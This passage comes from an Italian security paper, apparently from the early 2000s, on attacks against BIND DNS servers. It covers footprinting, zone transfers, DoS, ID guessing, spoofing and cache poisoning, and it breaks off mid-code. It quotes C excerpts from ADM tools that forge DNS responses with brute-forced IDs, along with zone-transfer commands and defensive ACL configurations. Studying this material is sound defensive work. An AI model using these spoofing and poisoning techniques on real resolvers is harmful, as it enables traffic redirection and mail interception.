RR (come ANY) [RFC1035] | | | | Gli OPCODE sono i seguenti: | | | | OpCode Name Referimenti | | ------ ---- ---------- | | 0 Query [RFC1035] | | 1 IQuery [RFC1035] | | 2 Status [RFC1035] | | 3 reserved [IANA] | | 4 Notify [RFC1996] | | 5 Update [Vixie] | | | | GLI RCODE sono : | | | | RCode Name Riferimenti | | ------ ---- ---------- | | 0 NoError No Error [RFC1035] | | 1 FormErr Format Error [RFC1035] | | 2 ServFail Server Failure [RFC1035] | | 3 NXDomain Non-Existent Domain [RFC1035] | | 4 NotImp Not Implemented [RFC1035] | | 5 Refused Query Refused [RFC1035] | | 6 YXDomain Name Exists when it should not [RFC2136] | | 7 YXRRSet RR Set Exists when it should not [RFC2136] | | 8 NXRRSet RR Set that should exist does not [RFC2136] | | 9 NotAuth Server Not Authoritative for zone [RFC2136] | | 10 NotZone Name not contained in zone [RFC2136] | | | | | | 0x06 => Tipologia di attacchi ai server dns: | | | | I server dns sono tra i server piu presi di mira dagli attacker di | | skill medio fino ai piu' skillati, in quanto permettono senza | | particolari difficolta' di fare molte cosette a volte anche di una | | certa importanza e pericolosita'. | | | | Si pensi ad una societa' di e-commerce famosa alla quale venisse | | rediretto tutto il traffico in ingresso verso un'altra destinazione. | | I danni a livello economico e di immagine sarebbero elevati! | | La prima redirezione dovuta ad un'attacco di dns-poisoning fu ad | | un societa' famosa...: www.internic.net, il quale traffico venne | | rediretto verso www.alternic.net ad opera dell'hacker E. Kaspureff. | | | | Occupandoci prevalentmente del daemon Bind,essendo il piu' presente | | in rete ed uno dei migliori se ben gestito, diamo una occhiata alle | | diverse versioni principali in modo da sapere se e' possibile | | effettuare/ricevere un attacco e di che tipo. | | | | Le principali versioni di Bind sono: | | | | Bind 4.x | | Considerata da molti la vera versione di Bind, e' ancora molto | | presente in rete. Il codice e' stato sottoposto ad audit maggiore | | rispetto alle altre versioni anche se non e' da considerarsi il | | massimo della funzionalita'. Le ultime versioni contengono le | | stesse patch della 8.x, ma il suo sviluppo e' ormai cessato. | | Le versioni antecedenti la 4.9.6 e 4.9.6-p1 hanno il problema | | di non verificare i record aggiunti nelle response dagli altri | | name server (campo Additional Data). | | Cosi' le info aggiuntive vengono inserite direttamente nella cache | | in quanto ritenute utili. | | | | - Bind 8.x | | Successore di 4.x apporta notevoli implementazioni comode ed utili | | che, come sempre, in poco tempo hanno mostrato l'altro lato della | | medaglia mostrando diversi problemi. Cio' vale per tutti i sistemi | | che cercano in tutti i modi di diventare user-friendly..troppo. | | (Ogni riferimenti a Windoze e' puramente casuale.. :) | | Questa versione supporta diverse opzioni di configurazione, | | access list support,/etc/named.boot e' switchato a /etc/named.conf, | | supporto dell'utilissimo ma altrettanto pericoloso DDns (Dynamic | | dns) che permette aggiornamenti run.time tramite particolari packets, | | ipv6 compliant, possibilita' di chrootarlo o chroot-jailarlo :=) etc. | | Il sig. Theo Derat di openBSD e il suo team considerano il suo codice | | troppo compplesso per essere analizzato bene, quindi ne sconsigliano | | l'utilizzo. In ogno caso e' anch'esso uno dei piu' presenti in rete. | | Le versioni antecedenti la 8.1.1 e 8.1.1-p1, oltre ad essere buggati | | come la 4.x riguardo l'aggiunta di record nel campo Additional e a | | presentare problemi di zone transfer se non posta in deny tramite le | | apposite acl che vedremo piu' avanti nel paper, presenta problemi di | | buffer overflow che, nel caso in cui sia in run come root... | | | | - Bind 9.x | | L'ultima versione di Bind,ancora giovane e quindi poco usata sia per | | motivi di "non c'ho voglia di fare l'upgrade, mi va bene cosi'", sia | | per problemi di sicurezza che portano a deprecare l'uso di versioni | | troppo nuove perche' sempre con qualche problema.. | | Il codice e' stato praticamente riscritto, rimodellata l'architettura | | per migliorarne la manutenzione, anche se sembra non aver migliorato | | la leggibilita'.Questa versione ha le identiche feature della 8.x con | | in aggiunta il supporto alle "dns-window" (che permettono di mostrare | | differenti parti del dns a client diversi) e il supporto ai database, | | nonche' altre migliorie di routine ai protocolli. | | Qualche versione non ha ancora risolto il problema di alcuni bug tra | | cui quelli visti sopra, che nella maggior parte delle volte cmq sono | | da attribuirsi alla "malagestione" da parte del sysadmin. | | Qualcuno diceva:"Non ci son cattivi soldati,solo cattivi superiori".. | | Di Bind 9.x e' stata scoperta ultimamente una vulnerabilita' che | | consente di portare a termine un buffer overflow ed eseguire quindi | | nella maggioranza dei casi codice arbitrario (vedremo dopo). | | | | Ricordo per chi non ha domestichezza con i tools *nix etc.. che per | | avere la versione di un server dns occorre eseguire il seguente | | comando: | | | | $ dig -t txt -c chaos VERSION.BIND @server_dns | | | | Ora vedremo le diverse metodologie di attacco possibili ai dns, quindi | | mi concentrero' su quello per il quale sto scrivendo questa paper. | | | | -sub_A() DNS footprinting: { | | | | Anche se non e' da considerarsi una tipologia di attacco e' sempre un | | modo che l'attacker ha per estorcere informazioni utili da un server | | DNS riguardo sotto-sistemi e configurazioni varie. | | Qui ci ci avvarremo di due tools compresi di default in ogni linux | | distro: `host` e `nslookup`. | | | | Intanto nel terz'ultimo paragrafo "DNS parameters" troverete appunto | | la lista dei diversi parametri dello standard del protocollo dns che | | comunque spero siano conosciuti (almeno i piu' utili). | | | | Metodi di raccolta di informazioni possono essere: | | | | $ nslookup www.sikurezza.org | | server: tin.it | | Address: 193.70.192.25 | | | | Non-authoritative answer | | www.sikurezza.org canonical name = sikurezza.org. | | | | Name: www.sikurezza.org | | Address: 151.8.1.46 | | | | Il tool nslookup viene considerato deprecato in quanto esistono altri | | tools specifici di gestione dns, ma risulta sempre comodo e valido. | | | | $ host www.sikurezza.org | | www.sikurezza.org. in an alias for sikurezza.org | | sikurezza.org has address 151.8.1.46 | | | | Altre informazioni possono essere richieste settando come class type | | il valore ANY (255): | | | | $ host -t ANY sikurezza.org | | sikurezza.org. mail is handles by 10 sikurezza.org. | | sikurezza.org. has address 151.8.1.46 | | sikurezza.org. name server ns1.sikurezza.org. | | sikurezza.org. name server ns2.sikurezza,org. | | | | Le info sopra riportate sono nella normalita' di una query.. i tipi | | che non andrebbero settati in quanto non necessari e probabilmente | | pericolosi sono HINFO e TXT, ed a volte anche RP. | | | | }; | | | | -sub_B() DNS zone transfer: { | | | | Una della grandi feature del protocollo dns e di Bind e' la | | possibilita' di gestione della ridondanza tra server dns. | | Come si sa, normalmente per ciascun dominio esiste un sistema | | per la gestione del DNS primario; tutti gli altri sono secondari | | e trasferiscono la zona DNS in caso di modifiche, e sono detti | | server "slave". Per configurare un sistema come slave basta | | inserire in /etc/named.conf (o /etc/named.boot se con bind 4.x) | | cio' che segue: | | | | zone "pippo.com" { | | type slave; file "slave_pippo.com"; | | masters { ip_dns_master; }; | | }; | | | | Questa sopra e' una tipica configurazione base, quindi non sicura. | | Tant'e' che in caso di questa configurazione un attacker puo' | | facilmente effettuare un trasferimento di zona senza neanche | | montare un server Bind cercando di farlo passare come parte di | | quella rete. | | | | $ host -t NS pippo.com | | pippo.com. name server ns1.pippo.com | | pippo.com. name server ns2.pippo.com | | | | $ host -l pippo.com ns1.pippo.com | | pippo.com. name server ns1.pippo.com | | pippo.com. name server ns2.pippo.com | | www.pippo.com has address 192.168.1.1 | | mail.pippo.com has address 192.168.1.2 | | mailbk.pippo.com has address 192.168.2.2 | | 192.168.1.1.pippo.com domain name pointer mail.pippo.com | | ftp_anon.pippo.com has address 192.168.1.3 | | | | Chiaramente e' corretto lasciare la possibilita' ai dns secondari di | | trasferire la zona aggiornando i relativi database. Ma e' anche certo | | che per la nostra sicurezza non e' corretto lasciare che chiunque lo | | faccia vedendo tutti i nostri indirizzi interni. Ad uopo soggiunge | | una configurazione atta a non permettere il trasferimento di zona "to | | anyone", facilmente intuibile grazie ai vari man di bind. | | E' addirittura possibile impostare voci globali e quando necessario | | sottovoci specifiche. Vediamo come: | | | | options { | | ..snip.. | | allow-transfer { ip_auth_1; }; | | }; | | | | zone "pippo.com" { | | type master; | | file "master_pippo.com"; | | allow-transfer { ip_auth_2; ip_auth_3;}; | | }; | | | | zone "pippo.org" { | | type master; | | file "master_pippo.org"; | | }; | | | | zone "pippo.edu" { | | type slave; | | masters { ip_masters; }; | | file "slave_pippo.edu"; | | allow-transfer { none; }; | | }; | | | | Con la precedente configurazione permettiamo: | | | | - pippo.org puo' effettuare un AXFR solo da ip_auth_1,date le globali. | | - pippo.com puo' effettuare un AXFR solo da ip_auth_2 e ip_auth_3. | | - pippo.edu NON effettuera' trasferimenti da nessuno. | | | | Nel caso un attacker chiedesse un AFXR illecito syslogd loggera' | | tutto: | | | | named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.com" (acl) | | named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.org" (acl) | | | | }; | | | | -sub_C() DNS Denial of Service: { | | | | Ed eccoci arrivati al punto Denial of Service.. con i server DNS | | i DoS sono implementati principalmente in due modi: | | - buffer overflow e dintorni | | - ridirezioni nulle | | | | Sono molti, la maggior parte, gli exploit che sfruttano un buffer | | overflow per ritornare una sh# o per eseguire un comando come root | | o ancora per provocare un Denial of Service. Questo perche' non si | | basano su errori della macchina, bensi' sugli errori dell'uomo | | tradotti in coding errato e/o pericoloso, a volte per semplificare | | alcune operazioni o per ridurre le linee di codice..a volte per | | le troppe linee di codice che poi risultano difficili da anlizzare. | | | | In Bind sono stati trovati buffer overflow per ogni versione | | principale ma, essendo facilmente approfondibili in rete sui siti | | opportuni qui non ne parleremo. | | Diro' qualcosa invece su un problema di BO riscontrato nelle ultime | | versione di Bind antecedenti la 9.2.1. | | | | Questo problema risale a qualke giorno fa,precisamente al 04.06.2002 | | data CERT. | | Sono stati riscontrati vulnerabili 139 server su 1000 in USA (dati | | Men & Mice) che "vestivano" la versione 9.x (ancora pochi). | | Di questo bug non sono vulnerabili le versioni 4.x e 8.x. | | Il bug consente ad un attacker di mandare in shutdown un server Bind | | inviando un pacchetto specifico designato per far scattare un check | | di consistenza interno. In ogni caso questo bug non consente di | | eseguire codice o altro, ma solo di causare un down. | | | | Il problema che causa lo shutdown di Bind sovviene quando il parametro | | "rdataset" della dns_message_findtype() contenuta in message.c non e' | | NULL come atteso. La condizione fa si che il codice invii un error | | message e chiami la abort(). | | | | Purtroppo i DNS configurati male che consentono attacchi di ogni tipo | | sono ancora molti; vediamo una statistica effettuata da M : | | | | Aziende USA con almeno 1 Bind vulnerabile (v.8.2.x prima di v.8.2.3) | | 01/30/01 33.30% | | 02/07/01 17.40% | | 02/13/01 13.80% | | 02/21/01 12.40% | | 03/28/01 9.98% | | | | Per i server autoritativi al TLD .com : | | 31 Jan '01 5500 40.27% | | 07 Feb '01 2200 16.73% | | 14 Feb '01 5000 11.77% | | 21 Feb '01 5500 13.10% | | 28 Mar '01 2000 10.30% | | | | Come accennato prima, un altro problema che puo' portare ad un Dos | | sono le ridirezioni nulle. | | Si pensi ad esempio se per un portale importante come, ad esempio, | | www.amazon.com si cambiasse la mappatura: | | | | amazon.com. IN A 207.171.83.16 | | www IN CNAME amazon.com. | | | | con la mappatura: | | | | amazon.com. IN A ip_fittizio,nullo,o proprio | | www IN CNAME amazon.com. | | | | oppure la mappatura: | | | | amazon.com. IN A 207.171.83.16 | | mail IN CNAME amazon.com. | | amazon.com. IN MX 10 amazon.com. | | | | | | con la piu' pericolosa ai fini della privacy e non solo: | | | | amazon.com. IN A ip_attacker | | mail IN CNAME amazon.com. | | amazon.com. IN MX 10 amazon.com. | | | | | | E' facile intuire che in questo modo tutte le mail inviate agli | | appartenenti al dominio @amazon.com verrebbero inviate all'attacker | | causando non pochi problemi di provacy, sicurezza etc. etc... | | Volendo dirla tutta l'attacker potrebbe benissimo non essere scoperto | | in breve tempo se approntasse con qualche riga di C un mail forwarder | | che riceva le mail, ne faccia una copia, e le forwardi al vero ip | | di amazon.com ... | | Le cose fattibili con i server DNS sono limitate solo dalla fantasia.. | | | | }; | | | | -sub_D() DNS ID guessing: { | | | | Per ID guessing si intende la predizione dell'ID che contrassegna | | una coppiata query/response, atta a stabilire una relazione tra di | | essa e quindi evitare di utilizzare una response errata per una query | | corretta. E' usata anche come sicurezza in quanto se un attacker | | dovesse inviare una response a caso con i dati dell'attacco, questi | | verrebbero ignorati per la mancata corrispondenza dell'ID. | | Quindi preventivamente ad un attacco di dns spoofing/poisoning viene | | spesso usata questa tecnica.La sintassi e' la medesima dell'ID guessing | | (o ID prediction) dei pacchetti TCP al fine di portare a termine un | | attacco di session hijacking o di man in the middle. | | Nel caso del DNS ID guessing la cosa e' piu' semplice, ma non sempre. | | Normalmente (di default, e quindi per la maggior parte dei server) il | | cambio dell'ID di un pacchetto dns avviene incrementalmente dal primo | | inviato in avanti, quindi la prima query avra' (ad esempio) ID 1, la | | seconda ID 2 etc...fino a raggiungere 65536, ovvero 16 bit (unsigned | | short), per poi reiniziare il tour. | | Il problema sorge nel momento in cui l'admin decide di hardenizzare | | intelligentemente il server per evitarsi problemi. | | Tre modi di evitare l'ID guessing sono: | | - l'adozione della patch dello SNI che permette di randomizzare l'ID; | | - l'adozione di DNSSec; | | - l'adozione della patch dello SNI che permette di randomizzare l'ID; | | - l'adozione di DNSSec; | | - l'adozione di Bind 9.x che adotta la randomizzazione di default. | | | | Per controllare se un server e' vulnerabile basta inviare delle query | | al server target (supponendo che il data flow sia sul proprio segmento | | di rete) ed analizzare le query in uscita da esso per vedere se sono | | predicibili. | | | | Le metodologie di predizione dell'ID sono sostanzialmente due, scelte | | a seconda che l'attacker abbia o no una shell root su un server dns | | autoritativo per la zona interessata (quindi per tizio.caio.edu avere | | root su caio.edu, il SLD). | | | | Supponiamo di avere una shell # sul dns server ns.medium.org che e' | | autoritativo per il SLD medium.org e di voler probare il dns server | | ns.vittima.edu (autoritativo per il SLD vittima.edu) per carpire se | | e' o no vulnerabile all'ID guessing. | | Quando usiamo il tool `nslookup' o 'host', il programma invia delle | | query al server di default (/etc/resolv.conf) con il bit RD (recursion | | desired) settato a 1. Il server di default inviera' quindi le query di | | risoluzione per noi e ci ritornera' la risposta una volta trovata, | | supponendo che non l'abbia gia in cache. | | Se l'avesse in cache saremmo gia scremati in partenza in quanto non ci | | permetterebbe di vedere i pacchetti in uscita. | | Per questo motivo il comando corretto per iniziare l'ID guessing ad | | alto livello e': | | | | attacker]$ nslookup host.medium.org ns.vittima.edu | | | | che ci permette di indicare al nostro resolver quale server usare per | | iniziare una risoluzione ricorsiva. | | In questo caso ns.vittima.edu inviera' per l'attacker una query a | | ns.medium.org (che l'attacker ha in possesso) chiedendo di risolvere | | un record A (type 1) per host.medium.org. L'attacker, essendo sulla | | macchina (o sullo stesso segmento di rete) di medium.org, puo' | | semplicemente attivare tcpdump per vedere l'ID del pacchetto ed altre | | flags utili. Il formato di dump di tcpdump per le query DNS e': | | | | src > dst: id op? flags qtype qclass name (len) | | es. ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) | | | | La sua interpretazione e': | | from : ns.vittima.edu | | sport: 1538 | | to : ns.medium.org | | dport: 53 | | ID : 3 | | type : A | | host : host.medium.org | | size : 33bytes | | | | La flag '+' dopo l'ID number indica il bit RD (recursion desired). | | [ man tcpdump ] | | | | Supponiamo quindi di inviare piu' query consecutive,e di fare lo stesso | | dal lato server compromesso e di avere questa situazione: | | | | ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) | | ns.vittima.edu.1539 > ns.medium.org.53: 4+ A? host.medium.org. (33) | | ns.vittima.edu.1540 > ns.medium.org.53: 5+ A? host.medium.org. (33) | | ns.vittima.edu.1541 > ns.medium.org.53: 6+ A? host.medium.org. (33) | | ns.vittima.edu.1542 > ns.medium.org.53: 7+ A? host.medium.org. (33) | | ns.vittima.edu.1543 > ns.medium.org.53: 8+ A? host.medium.org. (33) | | ns.vittima.edu.1544 > ns.medium.org.53: 9+ A? host.medium.org. (33) | | ns.vittima.edu.1545 > ns.medium.org.53: 10+ A? host.medium.org. (33) | | ns.vittima.edu.1546 > ns.medium.org.53: 11+ A? host.medium.org. (33) | | | | E' facile capire come per questo server sia facilmente predicibile l'ID | | da allegare ad una possibile response falsa con i dati che vorremmo | | aggiungere in cache. | | In una rete local basterebbe semplicemente rispondere subito alla query | | prima del vero server utilizzando lo stesso ID e IP spoofato. | | Ma cio' lo vedremo nei prossimi capitoli. | | | | Nel caso invece di : | | | | ns.vittima.edu.1538 > ns.medium.org.53: 22+ A? host.medium.org. (33) | | ns.vittima.edu.1539 > ns.medium.org.53: 3+ A? host.medium.org. (33) | | ns.vittima.edu.1540 > ns.medium.org.53: 253+ A? host.medium.org. (33) | | ns.vittima.edu.1541 > ns.medium.org.53: 1828+ A? host.medium.org. (33) | | ns.vittima.edu.1542 > ns.medium.org.53: 213+ A? host.medium.org. (33) | | ns.vittima.edu.1543 > ns.medium.org.53: 99+ A? host.medium.org. (33) | | | | sarebbe molto piu' complicato in quanto il server ns.vittima.edu sta | | probabilmente usando la patch dello SNI o Bind 9.x (basta chiedere | | un BIND.VERSION e se non e' 9.x significa che sta usando la patch). | | | | A basso livello un programma che si occupa di questo (a dire il vero | | implementa anche il poisoning) e', ad esempio, ADMsnOOfID di shok(ADM). | | | | ADMsnOOfID usage: | | ADMsnOOfID | | | | | | Questa routine e' creata tramite invio di un pacchetto in questo modo: | | | | <---from ADMsnOOfID.c---thanks to shok-;)---> | | | | /* make the question for get the ID */ | | | | sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]); | | dnssend->id = 2600; | | dnssend->qr = 0; | | dnssend->rd = 1; | | dnssend->aa = 0; | | dnssend->que_num = htons(1); | | dnssend->rep_num = htons(0); | | i = makepaketQS(data2,namefake,TYPE_A); | | udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i); | | | | <---EoF--> | | | | la prima sprintf() crea un fakename di host tramite una implementazione | | della rand() con base il SLD in possesso dell'attacker. | | A questo punto riempie i campi dell'header dns con rd=1, crea il campo | | questions data del pacchetto con makepaketQS() sviluppata in ADMDNS.c | | che sistema i campi a seconda che il type della query sia TYPE_A o | | TYPE_PTR,quindi con la udp_send() contenuta in ADM-spoof.c costruisce | | l'intero pacchetto aggiungendo header IP e UDP con IPPROTO_UDP e senda | | tutto. Allo stesso tempo si attende la query di ritorno del server per | | dumparne l'ID. | | | | la struct del pacchetto dns e' semplice ed e' la seguente: | | | | struct dnshdr { | | unsigned short int id; | | | | unsigned char rd:1; /* recursion desired */ | | unsigned char tc:1; /* truncated message */ | | unsigned char aa:1; /* authoritive answer */ | | unsigned char opcode:4; /* purpose of message */ | | unsigned char qr:1; /* response flag */ | | | | unsigned char rcode:4; /* response code */ | | unsigned char unused:2; /* unused bits */ | | unsigned char pr:1; /* primary server required (non standard) */ | | unsigned char ra:1; /* recursion available */ | | | | unsigned short int que_num; | | unsigned short int rep_num; | | unsigned short int num_rr; | | unsigned short int num_rrsup; | | }; | | | | Ora analizziamo pero' il caso in cui l'attacker non sia cosi' fortunato | | da possedere una sh root su un dns autoritativo per un TLD. | | | | La metodologia utilizzata per far cio' e' una sorta di brute force di | | response al server dns vittima per tentare di centrarne una. Si, non | | e' un metodo elegante..per niente.. ma a volte riesce nel suo intento | | senza sprecare troppa banda.. | | | | Un tool che fa questo e' ADMnOg00d, ancora del buon shok degli ADM. | | | | Usage: | | ADMnoG00D | | spoofname> [ID] | | | | L'attacker puo' comunque non difficilmente inviare qualke query al | | server vittima per vedere all'incirca a che punto e' l'ID counter e | | stare in quel range per le response. Questo tool e' definito dallo | | stesso shok un "DNS ID brutal predictor" che lo descrive pienamente. | | | | Esempio di ritorno di query: | | | | ns.vittima.edu.1538 > hacker.31337.edu.53: 693+ A? host.medium.org.(33) | | | | In questo caso l'attacker usera' un ID, ad esempio, di 710 con valore | | decrementale in modo da tentare il completamento dell'accoppiata | | ID query/response. Tutto cio' tramite questo semplice loop: | | | | <--from--ADMnOg00d.c--> | | | | for(;loop >= ID-10 ;loop--){ | | dns->id = htons(loop); | | dns->qr = 1; | | dns->rd = 1; | | dns->aa = 1; | | dns->que_num = htons(1); | | dns->rep_num = htons(1); | | | | i=makepaketAW(data,fakename,SPOOFIP,TYPE_A); | | udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i); | | } | | | | <--EoF--> | | | | dove loop equivale al campo [ID] da noi inserito e corrispondente | | ad argv[9]. Se non fosse immesso il tool partira' da 65535 (assai | | menu funzionale ed assai brutale.. ). | | | | Ora che ho analizzato anche l'ID guessing, si puo' passare con balzo | | deciso ai prossimi paragrafi che analizzano in dettaglio DNS spoofing | | e DNS caching/poisoning. | | | | -sub_E() DNS Spoofing: { | | | | Il DNS spoofing e' l'aperitivo di un DNS caching/poisoning/hijacking | | in quanto permette ad un host di figurare come un altro che potrebbe | | avere relazioni di fiducia (trusted-hosts) con il server attaccato. | | Nel testo non analizzero' lo spoofing in generale in quanto dovrebbe | | essere una prerogativa di chi legge questo paper; si sappia solo che | | la tipologia di spoofing che viene attuata con i DNS e' di tipo | | blind-spoofing, ovvero spoofing cieco. | | Poniamo di avere una shell # su di un server DNS autoritativo per un | | dominio. Ponendo in essere l'attacco esposto nel paragrafo precedente | | notiamo che la shell ci serve per trovare a che punto e' l'ID del | | server sotto attacco per poi inviargli una response con lo stesso ID al | | fine di renderla valida. | | Spoofing sinteticamente significa appunto l'impersonificazione di un | | host in un altro per vari fini. | | Il DNS spoofing puo' essere attuato per diversi modi, ad esempio tra | | i piu' utilizzati: | | - zone transfer: supponendo di avere configurato un server DNS con ACL | | di tipo allow-transfer tipo: | | | | zone "pippo.com" { | | type master; | | file "master_pippo.com"; | | allow-transfer { 192.168.0.2;}; | | }; | | | | tramite spoofing l'attacker con IP 31.3.3.7 in ascolto sullo stesso | | segmento di rete puo' tranquillamente forzare una zone transfer e | | intercettare la tabella delle zone della rete interna. Non e' molto | | carino permettere ad un attacker di sapere la topologia interna degli | | host e i loro nomi, anche perche' in molti casi il corrispettivo | | logico dell'IP e' un nome mnemonico che descrive anche l'host e la | | sua funzione all'interno della rete. Capiamo bene che se l'attacker | | dovesse entrare in possesso ad esempio di queste informazioni: | | | | 192.168.0.25 IN PTR database.pippo.com. | | fw.pippo.com. IN A 192.168.0.254 | | 192.168.0.22 IN PTR ssh.pippo.com. | | | | saprebbe subito gli host da colpire e la loro posizione al'interno | | della rete.. | | | | - caching/poisoning/updating: per il caching e il poisoning e' facile | | intuire che se l'attacker riesce a venire a conoscenza del corretto | | ID della query in uscita dal server che effettuera' la recursive | | resolution, non ci vuole poi molto ad inviare una response con IP | | sorgente identico a quello del server autoritativo per quel SLD | | e cambiare informazioni o magari aggiungerne in modo da essere | | ritenute valide dal server attaccato (sempre se i pacchetti arrivano | | prima del server reale..). | | Per l'updating, se ad esempio abbiamo configurato un DNS nel seguente | | modo: | | | | zone "pippo.com" { | | type master; | | file "master_pippo.com"; | | allow-update { 192.168.0.2;}; | | }; | | | | e' semplice intuire a cosa possa servire in questo caso DNS spoofing. | | | | Nei prossimi due paragrafi andro' ad illustrare ed analizzare,in teoria | | ed in pratica, come vengono effettuati i "sempreverdi" attacchi di | | DNS caching/poisoning e di DDNS update spoofing, che sono il fulcro | | ed il culmine del presente testo nonche' il core del progetto AmPaRo. | | | | }; | | | | -sub_F() DNS poisoning/caching: { | | | | Eccoci arrivati alla parte forse piu' interessante del presente testo, | | assieme al prossimo ed ultimo paragrafo conclusivo del capitolo | | riguardante l'analisi tipologica dei diversi tipi di attacchi ai server | | DNS. I punti precedenti sono in definitiva i passi da eseguire ( ad | | eccezione dell'attacco DoS) per raggiungere un obiettivo preciso,ovvero | | per l'attuazione dell'attacco esposto nel presente paragrafo e nel | | seguente. | | | | Per DNS poisoning/caching si intende l'inserimento/sostituzione di dati | | falsi in un database/cache al fine di modificare la risoluzione di un | | nome logico o di un IP address per diversi scopi (DoS, redirection..). | | | | Nei paragrafi precedenti ho analizzato i passi intermedi che vengono | | compiuti da un attacker per finalizzare l'attacco;per ricordarlo questi | | sono: | | | | - DNS footprinting | | - DNS ID guessing | | - DNS spoofing | | | | gli ultimi 2 passi, data la loro imminente sequenzialita', solitamente | | sono raggruppati in un unico "big-step" e inseriti assieme in un unico | | tool. | | Sono usati diversi modi per effettuare questo attacco; io analizzero' | | i 2 che ritengo migliori in quanto ad algoritmo ed efficienza in ordine | | dal minore al migliore. | | | | Per spiegare il funzionamento dell'attacco in modo semplice e chiaro | | (lo spero.. :P) mi avvarro' di "macro" sostitutive di hostname e ip. | | | | Topologia reti e macro preventive: | | | | DNS_VITTIMA=> x.x.x.1 -> ns.vittima.edu -> dns vittima | | SER_VITTIMA=> x.x.x.x -> serv.vittima.edu -> servizio su vittima.edu | | DOM_TRUST => x.x.x.2 -> trust.edu -> dominio di trust | | DNS_TRUST => x.x.x.3 -> ns.trust.edu -> dns dominio di trust | | SPOOF_TRUST=> x.x.x.4 -> ns.firm.com -> dns di trust per spoof | | ATTACKER => x.x.x.5 -> ppp-110.libero.it-> attacker | | SPOOFNAME => h4x0r.evil.com -> da inserire in cache | | SPOOFIP => 31.3.3.7 -> da inserire in cache | | FAKE_IP1 => 1.1.1.1 -> ip fake per richieste | | FAKE_IP2 => 2.2.2.2 -> ip fake per richieste | | FAKE_IP3 => 3.3.3.3 -> ip fake per richieste | | RAND_TRUST => x.x.x.6 -> rand.trust.edu -> fakename random | | | | ### PRIMO METODO ### | | | | Un metodo di media validita' e' quello che puo' essere chiamato "DNS ID | | brutal predictor" per la modalita' di inizio. | | Questo metodo richiede solamente un sh# su di un host senza necessitare | | di una sh # su un DNS autoritativo per un SLD. | | Questo lo rende di gran lunga uno dei piu' utilizzati, soprattutto da | | script-kiddye e vari, per compiere attacchi di DNS poisoning/caching. | | Un tool che fa questo sporco lavoro e', ad esempio, ADMnOg00d di shok | | degli ADM, che prenderemo come esempio per l'analisi dell'attacco. | | | | Nelle parti del sorgente originale,le variabili saranno sostituite da | | macro predefinite precedentemente. | | | | L'attuazione di questo metodo poco ortodosso puo' essere riassunto | | in 4 semplici passi principali: | | | | 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST | | al dns server vittima DNS_VITTIMA usando come indirizzo sorgente | | FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva | | a cercare di risolvere il nome logico, arrivando a richiederlo a | | DNS_TRUST. Ma se un fake DNS_TRUST inviasse risposte prima di quello | | reale e riuscisse ad azzeccare il range dell'ID.... | | | | /* start source example */ | | | | sprintf(RAND_TRUST,"%i%i%i%i%i%i.%s", | | myrand(), | | myrand(), | | myrand(), | | myrand(), | | myrand(), | | myrand(), | | DOM_TRUST); | | | | sendquestion(FAKE_IP1,DNS_VITTIMA,RAND_TRUST,TYPE_A); | | | | /* end source example */ | | | | 2) Per 10 volte da ID a diminuire vengono inviati pacchetti di response | | a DNS_VITTIMA usando come indirizzo sorgente DNS_TRUST, e contenente | | ad esempio: RAND_TRUST. IN A FAKE_IP2 | | In questo modo si cerca di inserir nella cache del DNS_VITTIMA il RR | | sopra esposto (se l'ID e' compreso nel range ID -> ID-10 ). | | | | /* start source example */ | | | | ID=loop; | | for(;loop >= ID-10 ;loop--){ | | dns->id = htons(loop); | | dns->qr = 1; | | dns->rd = 1; | | dns->aa = 1; | | dns->que_num = htons(1); | | dns->rep_num = htons(1); | | | | i=makepaketAW(data,RAND_TRUST,FAKE_IP2,TYPE_A); | | udp_send(sraw,DNS_TRUST,DNS_VITTIMA,53,53,buffer2,DNSHDRSIZE+i); | | } | | | | /* end source example */ | | | | L'ID in questo tool e' rappresentato da argv[9] e puo' essere | | omesso.Nel caso in cui fosse omesso partira' dal massimo valore che, | | dato che il campo e' di 2byte->16bit->2^16, ammontera' a 65536. | | Converrebbe sapere all'incirca intorno a che cifra ammonta..per | | sveltezza, comodita' e...delicatezza | | | | 3) Viene quindi inviata una richiesta di risoluzione dell'hostname | | RAND_TRUST al server vittima DNS_VITTIMA, utilizzando come indirizzo | | sorgente l'ip dell'host dell'attacker ATTACKER (chiaro visto che la | | richiesta viene inviata via SOCK_DGRAM e non tramite SOCK_RAW..). | | In questo modo chiediamo a DNS_VITTIMA se RAND_TRUST ha un indirizzo | | IP (quindi se il caching/poisoning e' stato effettuato). | | | | /* start source example */ | | | | dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); | | void dns_qs_no_rd(int s,u_long d_ip,char *wwwname,int ID) | | { | | struct dnshdr *dns; | | char *data; | | char buffer[1024]; | | int i; | | | | dns = (struct dnshdr *)buffer; | | data = (char *)(buffer+DNSHDRSIZE); | | bzero(buffer,sizeof(buffer)); | | | | dns->id = htons(ID); | | dns->qr = 0; | | dns->rd = 0; /* dont want the recusion !! */ | | dns->aa = 0; | | dns->que_num = htons(1); | | dns->rep_num = htons(0); | | i=makepaketQS(data,wwwname,TYPE_A); | | senddnspkt(s,d_ip,wwwname,NULL,dns); | | } | | | | /* end source example */ | | | | Per questa richiesta non viene utilizzata la modalita' ricorsiva | | (come precisamente indicato) bensi' la modalita' iterativa. Questo | | in quanto se la cache di DNS_VITTIMA non dovesse contenere niente | | a riguardo di RAND_TRUST non si vuole che il server vittima proceda | | a chiedere da lui ancora la risoluzione a DNS_TRUST trovando | | l'attacker impreparato a fornire risposte falsate/corrette. | | | | 4) A questo punto si attende una risposta da parte di DNS_VITTIMA. | | Questa potra' avere 3 differenti caratteristiche, con 3 differenti | | strade da intraprendere: | | - nessuna risposta | | - risposta arrivata ma campo data/answers vuoto | | - risposta arrivata e campo data/answers contenente dati | | | | Nel caso in cui non si riceva nessuna risposta entro 3 secondi viene | | reinviata la richiesta di risoluzione vista nel punto precedente. | | | | /* start source example */ | | | | for(timez=0;timez < TIMEOUT; timez++){ | | if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *) \ | | ,) != -1 ) | | { | 